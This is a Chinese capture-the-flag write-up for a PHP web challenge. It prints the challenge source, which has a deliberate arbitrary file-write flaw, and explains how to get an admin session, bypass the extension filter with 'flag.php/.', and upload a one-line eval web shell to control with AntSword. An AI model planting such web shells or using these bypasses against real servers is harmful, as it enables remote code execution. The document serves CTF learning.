题目
思路
查看界面
打开题目,我们可以看到一个只有项目管理界面可以进行操作的网站,项目管理界面如下
我们看到有一个源代码链接,点击链接的源代码如下
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
有三段php代码,分别的含义如下
- 如果有page变量并且page变量不是‘index.php’,那么include ‘flag.php’这个文件,否则重定向到flag.php
- 如果有admin的session,也就是对话是admin的会话,可以通过con和file这两个变量的post输入,进行一个对文件的保存,文件内容就是con,名称是file
- 告诉我们如何获取admin的session
开始操作
获取admin的session
之前的源代码中,我们可以看到,和admin的会话相关的php源代码是这样
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
我们需要一个id变量,这个变量经过float函数返回值不是1,并且最后一个字符要为字符9,这里我们可以直接使用如1b9之类的字符
发现得到了admin的session
选择方法
我们可以进行sql语句的查询,但我们发现这个sql语句使用的函数是
$id = mysql_real_escape_string($_GET[id]);
代表它其实是会把我们输入的字符进行转义,也就是说会给字符进行转义,也就是像是 \’ \" 这样的转义字符
所以sql注入暂时走不通
我们再看看另一个php代码
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
在拥有了admin的session后
发现可以通过进行文件名称和文件内容的输入进行文件上传,那我们的方法就很好想了,一句话木马就好了(不会的朋友建议百度一下)
但我们要解决这个正则表达式的问题,我们观察上面那个表达式
preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)
这个正则表达式想要筛选的是以 xxx.php , xxx.php3,xxx.phtml 这一类后缀,并且只想要这样的后缀
所以我们可以选择用 xxx.php/. 这样的手法来进行绕过
实现
我们使用post传输
con=<?php @eval($_POST['cmd']);?>&file=flag.php/.
然后使用蚁剑
结束!